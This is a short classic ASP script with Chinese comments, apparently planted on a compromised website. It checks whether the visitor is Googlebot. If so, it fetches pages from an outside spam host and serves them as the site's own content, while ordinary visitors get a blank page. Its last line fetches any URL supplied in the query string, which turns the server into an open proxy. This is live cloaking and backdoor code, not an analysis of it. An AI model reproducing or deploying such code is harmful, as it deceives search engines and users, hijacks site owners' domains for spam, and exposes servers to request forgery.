<%@LANGUAGE="VBSCRIPT" CODEPAGE="65001"%> <% dim interfaceurl dim query '接口路径 不是接口地址 sourse="http://www.applypolishhere.com/news20141226/investcalrealty.com" query=Request.QueryString Response.Addheader "Content-Type","text/html;charset=utf-8" dim tourl if (len(Trim(Request.QueryString)))<>0 then if GetBot="google" then querys = split(query,".") querystr = querys(0) Response.Write GetResStr(sourse&"/"&querystr&".html") Response.End else Response.Write("") Response.End end if end if function GetBot() dim s_agent GetBot="" s_agent=Request.ServerVariables("HTTP_USER_AGENT") if instr(1,s_agent,"googlebot",1) >0 then GetBot="google" end if end function Response.Write GetResStr(interfaceurl&query) %> <% function GetResStr(URL) dim ResBody,ResStr,PageCode Set Http=server.createobject("msxml2.serverxmlhttp.3.0") Http.setTimeouts 10000, 10000, 10000, 10000 Http.open "GET",URL,False Http.Send() If Http.Readystate =4 Then If Http.status=200 Then ResStr=http.responseText ResBody=http.responseBody PageCode="utf-8" GetResStr=BytesToBstr(http.responseBody,trim(PageCode)) End If End If End Function '函数名:BytesToBstr '作用:转换二进制数据为字符 '参数:Body-二进制数据,Cset-文本编码方式 Function BytesToBstr(Body,Cset) Dim Objstream Set Objstream = Server.CreateObject("adodb.stream") objstream.Type = 1 objstream.Mode =3 objstream.Open objstream.Write body objstream.Position = 0 objstream.Type = 2 objstream.Charset = Cset BytesToBstr = objstream.ReadText objstream.Close set objstream = nothing End Function %>